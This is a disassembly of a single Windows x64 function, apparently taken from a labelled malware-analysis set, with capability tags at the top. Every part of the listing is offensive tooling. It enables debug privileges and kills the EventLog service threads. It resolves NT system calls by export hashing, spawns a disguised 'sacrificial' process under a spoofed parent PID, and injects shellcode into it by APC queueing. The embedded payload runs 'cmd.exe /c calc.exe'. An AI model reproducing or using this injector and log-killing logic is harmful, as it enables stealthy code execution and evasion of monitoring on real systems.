Function at 0x1400019f0
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Resolve function by parsing pe exports
Resume thread
Spoof parent pid

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [0x140024040]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov rbx, rdx
cmp ecx, 2
jge 0x140001a7a
lea rcx, str.____Processus_missing__default_processus_is_being_used_:_explorer.exe_n
call fcn.1400011f0
mov eax, dword [0x140020db0]
lea rcx, [rbp + 0x180]
movsd xmm0, qword [str.explorer.exe]
mov dword [rbp + 0x188], eax
movzx eax, byte [0x140020db4]
mov byte [rbp + 0x18c], al
movsd qword [rbp + 0x180], xmm0
call fcn.140001860
lea rdx, str.explorer.exe
jmp 0x140001a87
mov rcx, qword [rdx + 8]
call fcn.140001860
mov rdx, qword [rbx + 8]
mov r8d, eax
lea rcx, str._i__Processus_Name_:__s_n_i__PPID_:__d_n
mov r13d, eax
call fcn.1400011f0
lea r8, [rbp + 0x180]
mov edx, 0x20
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor r15d, r15d
test eax, eax
jne 0x140001ad2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcessToken___failed____u__n
call fcn.1400011f0
jmp 0x140001bb9
lea r8, [rbp + 0x40]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140001b02
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____LookupPrivilegeValue_error:___u__n
call fcn.1400011f0
jmp 0x140001bb9
mov rax, qword [rbp + 0x40]
lea r8, [rbp + 0x50]
mov rcx, qword [rbp + 0x180]
mov r9d, 0x10
mov qword [rsp + 0x28], r15
xor edx, edx
mov qword [rbp + 0x54], rax
mov dword [rbp + 0x50], 1
mov dword [rbp + 0x5c], 2
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140001b55
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____AdjustTokenPrivileges_error:___u__n
call fcn.1400011f0
jmp 0x140001bb9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x140001b70
lea rcx, str.____Alas__token_does_not_have_specified_privilege._n
call fcn.1400011f0
jmp 0x140001bb9
lea rcx, str._n___SeDebugPrivilege_Enabled__n
call fcn.1400011f0
lea rcx, str._n_i__Killing_EventLog_Threads__if_running__n
call fcn.1400011f0
call fcn.140001520
test eax, eax
jne 0x140001b9a
lea rcx, str._n___Killed_responsible_svchost.exe_n
jmp 0x140001b83
lea rcx, str.____Failed_to_Kill_EventLog_Service_OR__EventLog_Service_NOT_running__n
call fcn.1400011f0
lea rcx, str._n___Ready_for_Post_Exp_:__n
call fcn.1400011f0
mov dword [0x140024ac0], r15d
xorps xmm0, xmm0
mov qword [rsp + 0x58], r15
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp + 0x60], 0xe48348fc
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp + 0x64], 0xc0e8f0
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp + 0x68], 0x51410000
movups xmmword [rbp - 0x10], xmm0
mov dword [rbp + 0x6c], 0x51525041
movups xmmword [rbp], xmm0
mov dword [rbp + 0x70], 0xd2314856
movups xmmword [rbp + 0x10], xmm0
mov dword [rbp + 0x74], 0x528b4865
mov dword [rbp + 0x78], 0x528b4860
mov dword [rbp + 0x7c], 0x528b4818
mov dword [rbp + 0x80], 0x728b4820
mov dword [rbp + 0x84], 0xb70f4850
mov dword [rbp + 0x88], 0x314d4a4a
mov dword [rbp + 0x8c], 0xc03148c9
mov dword [rbp + 0x90], 0x7c613cac
mov dword [rbp + 0x94], 0x41202c02
mov dword [rbp + 0x98], 0x410dc9c1
mov dword [rbp + 0x9c], 0xede2c101
mov dword [rbp + 0xa0], 0x48514152
mov dword [rbp + 0xa4], 0x8b20528b
mov dword [rbp + 0xa8], 0x1483c42
mov dword [rbp + 0xac], 0x88808bd0
mov dword [rbp + 0xb0], 0x48000000
mov dword [rbp + 0xb4], 0x6774c085
mov dword [rbp + 0xb8], 0x50d00148
mov dword [rbp + 0xbc], 0x4418488b
mov dword [rbp + 0xc0], 0x4920408b
mov dword [rbp + 0xc4], 0x56e3d001
mov dword [rbp + 0xc8], 0x41c9ff48
mov dword [rbp + 0xcc], 0x4888348b
mov dword [rbp + 0xd0], 0x314dd601
mov dword [rbp + 0xd4], 0xc03148c9
mov dword [rbp + 0xd8], 0xc9c141ac
mov dword [rbp + 0xdc], 0xc101410d
mov dword [rbp + 0xe0], 0xf175e038
mov dword [rbp + 0xe4], 0x244c034c
mov dword [rbp + 0xe8], 0xd1394508
mov dword [rbp + 0xec], 0x4458d875
mov dword [rbp + 0xf0], 0x4924408b
mov dword [rbp + 0xf4], 0x4166d001
mov dword [rbp + 0xf8], 0x44480c8b
mov dword [rbp + 0xfc], 0x491c408b
mov dword [rbp + 0x100], 0x8b41d001
mov dword [rbp + 0x104], 0x1488804
mov dword [rbp + 0x108], 0x415841d0
mov dword [rbp + 0x10c], 0x5a595e58
mov dword [rbp + 0x110], 0x59415841
mov dword [rbp + 0x114], 0x83485a41
mov dword [rbp + 0x118], 0x524120ec
mov dword [rbp + 0x11c], 0x4158e0ff
mov dword [rbp + 0x120], 0x8b485a59
mov dword [rbp + 0x124], 0xff57e912
mov dword [rbp + 0x128], 0x485dffff
mov qword [rbp + 0x12c], 0x1ba
mov dword [rbp + 0x134], 0x8d8d4800
mov dword [rbp + 0x138], 0x101
mov dword [rbp + 0x13c], 0x8b31ba41
mov dword [rbp + 0x140], 0xd5ff876f
mov dword [rbp + 0x144], 0x2a1de0bb
mov dword [rbp + 0x148], 0xa6ba410a
mov dword [rbp + 0x14c], 0xff9dbd95
mov dword [rbp + 0x150], 0xc48348d5
mov dword [rbp + 0x154], 0x7c063c28
mov dword [rbp + 0x158], 0xe0fb800a
mov dword [rbp + 0x15c], 0x47bb0575
mov dword [rbp + 0x160], 0x6a6f7213
mov dword [rbp + 0x164], 0x89415900
mov dword [rbp + 0x168], 0x63d5ffda
mov dword [rbp + 0x16c], 0x652e646d
mov dword [rbp + 0x170], 0x2f206578
mov dword [rbp + 0x174], 0x61632063
mov dword [rbp + 0x178], 0x652e636c
mov word [rbp + 0x17c], 0x6578
mov byte [rbp + 0x17e], r15b
mov qword [rbp + 0x38], 0x11f
xor eax, eax
mov dword [rbp - 0x40], 0x70
mov qword [rsp + 0x78], rax
movabs rax, 0x101000000000
mov qword [rbp + 0x48], rax
movups xmmword [rbp + 0x20], xmm0
mov dword [rbp - 4], 0x80000
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x50], r15
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x30]
mov r12, qword [rcx + 0x60]
test r12, r12
jne 0x14000200e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____Unable_to_get_ptr_to_PEB___u__n
call fcn.1400011f0
mov rsi, r15
movsxd rax, dword [rsi + 0x3c]
mov ebx, r15d
mov ecx, dword [rax + rsi + 0x88]
mov r9d, dword [rcx + rsi + 0x1c]
mov r8d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r8, rsi
add r14, rsi
lea rdi, [rsi + r9]
test r9d, r9d
je 0x140001f78
movabs r10, 0x718cca1f5291f6e7
nop
mov edx, dword [r8]
movabs rcx, 0x7734773477347734
add rdx, rsi
movsx eax, byte [rdx]
test eax, eax
je 0x140001f6d
nop word [rax + rax]
imul rcx, rcx, 0x21
cdqe
lea rdx, [rdx + 1]
add rcx, rax
movsx eax, byte [rdx]
test eax, eax
jne 0x140001f50
cmp rcx, r10
je 0x140002116
inc ebx
add r8, 4
cmp ebx, r9d
jb 0x140001f30
mov rbx, r15
mov rcx, rbx
call fcn.1400012b0
mov rcx, rbx
movzx r10d, ax
call fcn.140001440
movzx ecx, r10w
mov rbx, rax
call fcn.1400027a0
mov rcx, rbx
call fcn.1400027a8
movsxd rcx, r13d
lea rax, [fcn.1400027c1]
mov qword [rbp - 0x80], rcx
lea r9, [rbp - 0x80]
xorps xmm0, xmm0
mov qword [0x140025d78], rax
lea rcx, [rsp + 0x50]
mov dword [rbp - 0x70], 0x30
lea r8, [rbp - 0x70]
mov qword [rbp - 0x68], r15
mov edx, 0x80
mov dword [rbp - 0x58], r15d
mov qword [rbp - 0x60], r15
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x78], r15
call fcn.1400027c1
test eax, eax
jns 0x140002137
mov edx, eax
lea rcx, str.____Failed_in_sysNtOpenProcess__0x_X__n
call fcn.1400011f0
mov eax, 1
jmp 0x140002761
mov r12, qword [r12 + 0x18]
add r12, 0x10
mov r14, qword [r12]
cmp r12, r14
je 0x140001ef5
nop dword [rax]
nop dword [rax + rax]
mov rsi, qword [r14 + 0x30]
mov r9d, 0xffffffff
mov qword [rsp + 0x38], r15
xor edx, edx
mov qword [rsp + 0x30], r15
mov ecx, 0xfde9
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r15, qword [r14 + 0x60]
mov r8, r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rcx, rbx
call fcn.140002910
mov rdi, rax
mov r9d, 0xffffffff
xor eax, eax
mov r8, r15
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], rax
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsx eax, byte [rdi]
movabs rbx, 0x7734773477347734
test eax, eax
je 0x1400020c4
nop dword [rax]
imul rbx, rbx, 0x21
cdqe
lea rdi, [rdi + 1]
add rbx, rax
movsx eax, byte [rdi]
test eax, eax
jne 0x1400020b0
mov r9, rsi
lea rcx, str._i__Retrievedhash:_0x_llX_also_the_baseDllName:__ws__addr:__p__n
mov r8, r15
mov rdx, rbx
call fcn.1400011f0
movabs rax, 0x4fd1cd7bbe06fcfc
cmp rbx, rax
je 0x1400020ff
mov r14, qword [r14]
mov r15d, 0
cmp r12, r14
jne 0x140002030
jmp 0x140001ef5
mov rdx, rax
lea rcx, str.___Hashed_dll_matched_and_calculated_as:_0x_llX_n_n
call fcn.1400011f0
xor r15d, r15d
jmp 0x140001ef8
mov rdx, r10
lea rcx, str._i__Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.1400011f0
mov eax, ebx
movzx ecx, word [r14 + rax*2]
mov ebx, dword [rdi + rcx*4]
add rbx, rsi
jmp 0x140001f7b
cmp qword [rsp + 0x50], 0
je 0x140002004
lea rcx, str._t__Called_sysNtOpenProcess_n
call fcn.1400011f0
lea r9, [rsp + 0x60]
mov qword [rsp + 0x60], r15
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x60]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, [rsp + 0x60]
xor r8d, r8d
mov rcx, rax
mov qword [rbp + 0x28], rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rbp + 0x28]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x30], r15
xor edx, edx
mov qword [rsp + 0x28], r15
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov rcx, qword [rbp + 0x28]
lea r9, [rbp + 0x48]
mov qword [rsp + 0x30], r15
xor edx, edx
mov qword [rsp + 0x28], r15
mov r8d, 0x20007
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.SuspendThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateProcessA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor r8d, r8d
lea rcx, [rbp - 0x40]
xor edx, edx
mov qword [rsp + 0x40], rcx
lea rcx, str.c:windows_system32SecurityHealthSystray.exe
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], r15d
call rax
test eax, eax
jne 0x140002286
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_Spawn_Sacrificial_process___u__n
call fcn.1400011f0
mov eax, 1
jmp 0x140002761
mov r8d, dword [rsp + 0x78]
lea rdx, str.c:windows_system32SecurityHealthSystray.exe
lea rcx, str._i__Spawning_Sacrificial_Process:__s__PID:__d_..._n_n
call fcn.1400011f0
mov r12, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
mov rcx, r12
call rbx
movsxd rax, dword [rsi + 0x3c]
xor r13d, r13d
mov ebx, r13d
mov ecx, dword [rax + rsi + 0x88]
mov r9d, dword [rcx + rsi + 0x1c]
mov r8d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r8, rsi
add r14, rsi
lea rdi, [rsi + r9]
test r9d, r9d
je 0x140002338
movabs r10, 0xf5bd373480a6b89b
nop word [rax + rax]
mov edx, dword [r8]
movabs rcx, 0x7734773477347734
add rdx, rsi
movsx eax, byte [rdx]
test eax, eax
je 0x14000232d
nop word [rax + rax]
imul rcx, rcx, 0x21
cdqe
lea rdx, [rdx + 1]
add rcx, rax
movsx eax, byte [rdx]
test eax, eax
jne 0x140002310
cmp rcx, r10
je 0x1400023b1
inc ebx
add r8, 4
cmp ebx, r9d
jb 0x1400022f0
mov rbx, r13
mov rcx, rbx
call fcn.1400012b0
mov rcx, rbx
movzx r10d, ax
call fcn.140001440
movzx ecx, r10w
mov rbx, rax
call fcn.1400027a0
mov rcx, rbx
call fcn.1400027a8
lea rax, [fcn.1400027d2]
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0x38]
mov qword [0x140025d70], rax
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x58]
mov rcx, r15
call fcn.1400027d2
test eax, eax
jns 0x1400023d2
mov edx, eax
lea rcx, str.____Failed_in_sysNtAllocateVirtualMemory__0x_X__n
call fcn.1400011f0
mov eax, 1
jmp 0x140002761
mov rdx, r10
lea rcx, str._i__Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.1400011f0
mov eax, ebx
movzx ecx, word [r14 + rax*2]
mov ebx, dword [rdi + rcx*4]
add rbx, rsi
jmp 0x14000233b
lea rcx, str._t__Called_sysNtAllocateVirtualMemory_n
call fcn.1400011f0
movsxd rax, dword [rsi + 0x3c]
mov ebx, r13d
mov ecx, dword [rax + rsi + 0x88]
mov r9d, dword [rcx + rsi + 0x1c]
mov r8d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r8, rsi
add r14, rsi
lea rdi, [rsi + r9]
test r9d, r9d
je 0x140002464
movabs r10, 0x68a3c2ba486f0741
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
movabs rcx, 0x7734773477347734
add rdx, rsi
movsx eax, byte [rdx]
test eax, eax
je 0x140002459
nop word [rax + rax]
imul rcx, rcx, 0x21
cdqe
lea rdx, [rdx + 1]
add rcx, rax
movsx eax, byte [rdx]
test eax, eax
jne 0x140002440
cmp rcx, r10
je 0x1400024d5
inc ebx
add r8, 4
cmp ebx, r9d
jb 0x140002420
mov rbx, r13
mov rcx, rbx
call fcn.1400012b0
mov rcx, rbx
movzx r10d, ax
call fcn.140001440
movzx ecx, r10w
mov rbx, rax
call fcn.1400027a0
mov rcx, rbx
call fcn.1400027a8
mov rdx, qword [rsp + 0x58]
lea rax, [fcn.1400027e3]
mov r9d, 0x11f
mov qword [0x140025d60], rax
lea r8, [rbp + 0x60]
mov qword [rsp + 0x20], r13
mov rcx, r15
call fcn.1400027e3
test eax, eax
jns 0x1400024f6
mov edx, eax
lea rcx, str.____Failed_in_sysNtWriteVirtualMemory__0x_X__n
call fcn.1400011f0
mov eax, 1
jmp 0x140002761
mov rdx, r10
lea rcx, str._i__Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.1400011f0
mov eax, ebx
movzx ecx, word [r14 + rax*2]
mov ebx, dword [rdi + rcx*4]
add rbx, rsi
jmp 0x140002467
lea rcx, str._t__Called_sysNtWriteVirtualMemory_n
call fcn.1400011f0
mov dword [rbp + 0x30], r13d
mov ebx, r13d
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rax + rsi + 0x88]
mov r9d, dword [rcx + rsi + 0x1c]
mov r8d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r8, rsi
add r14, rsi
lea rdi, [rsi + r9]
test r9d, r9d
je 0x140002588
movabs r10, 0x858bcb1046fb6a37
nop dword [rax]
mov edx, dword [r8]
movabs rcx, 0x7734773477347734
add rdx, rsi
movsx eax, byte [rdx]
test eax, eax
je 0x14000257d
nop word [rax + rax]
imul rcx, rcx, 0x21
cdqe
lea rdx, [rdx + 1]
add rcx, rax
movsx eax, byte [rdx]
test eax, eax
jne 0x140002560
cmp rcx, r10
je 0x1400025fd
inc ebx
add r8, 4
cmp ebx, r9d
jb 0x140002540
mov rbx, r13
mov rcx, rbx
call fcn.1400012b0
mov rcx, rbx
movzx r10d, ax
call fcn.140001440
movzx ecx, r10w
mov rbx, rax
call fcn.1400027a0
mov rcx, rbx
call fcn.1400027a8
lea rax, [fcn.140002805]
mov r9d, 0x20
mov qword [0x140025d68], rax
lea r8, [rbp + 0x38]
lea rax, [rbp + 0x30]
mov rcx, r15
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x20], rax
call fcn.140002805
test eax, eax
jns 0x14000261e
mov edx, eax
lea rcx, str.____Failed_in_sysNtProtectVirtualMemory__0x_X__n
call fcn.1400011f0
mov eax, 1
jmp 0x140002761
mov rdx, r10
lea rcx, str._i__Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.1400011f0
mov eax, ebx
movzx ecx, word [r14 + rax*2]
mov ebx, dword [rdi + rcx*4]
add rbx, rsi
jmp 0x14000258b
lea rcx, str._t__Called_sysNtProtectVirtualMemory_n
call fcn.1400011f0
movsxd rax, dword [rsi + 0x3c]
mov ebx, r13d
mov ecx, dword [rax + rsi + 0x88]
mov r9d, dword [rcx + rsi + 0x1c]
mov r8d, dword [rcx + rsi + 0x20]
mov r14d, dword [rcx + rsi + 0x24]
add r8, rsi
add r14, rsi
lea rdi, [rsi + r9]
test r9d, r9d
je 0x1400026a5
movabs r10, 0x7073ed9f921a0267
mov edx, dword [r8]
movabs rax, 0x7734773477347734
add rdx, rsi
movsx ecx, byte [rdx]
test ecx, ecx
je 0x14000269a
nop word [rax + rax]
imul rax, rax, 0x21
movsxd rcx, ecx
lea rdx, [rdx + 1]
add rax, rcx
movsx ecx, byte [rdx]
test ecx, ecx
jne 0x140002680
cmp rax, r10
je 0x14000270f
inc ebx
add r8, 4
cmp ebx, r9d
jb 0x140002660
mov rbx, r13
mov rcx, rbx
call fcn.1400012b0
mov rcx, rbx
movzx r10d, ax
call fcn.140001440
movzx ecx, r10w
mov rbx, rax
call fcn.1400027a0
mov rcx, rbx
call fcn.1400027a8
mov rdx, qword [rsp + 0x58]
lea rax, [fcn.140002838]
mov r8, rdx
mov qword [0x140025d80], rax
xor r9d, r9d
mov dword [rsp + 0x20], r13d
mov rcx, r12
call fcn.140002838
test eax, eax
jns 0x140002730
mov edx, eax
lea rcx, str.____Failed_in_sysNtQueueApcThread__0x_X__n
call fcn.1400011f0
mov eax, 1
jmp 0x140002761
mov rdx, r10
lea rcx, str._i__Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.1400011f0
mov eax, ebx
movzx ecx, word [r14 + rax*2]
mov ebx, dword [rdi + rcx*4]
add rbx, rsi
jmp 0x1400026a8
lea rcx, str._t__Called_sysNtQueueApcThread_n
call fcn.1400011f0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x14000275f
lea rcx, str.____Failed_to_resume_thread__n
call fcn.1400011f0
mov eax, 1
jmp 0x140002761
xor eax, eax
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.140002880
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret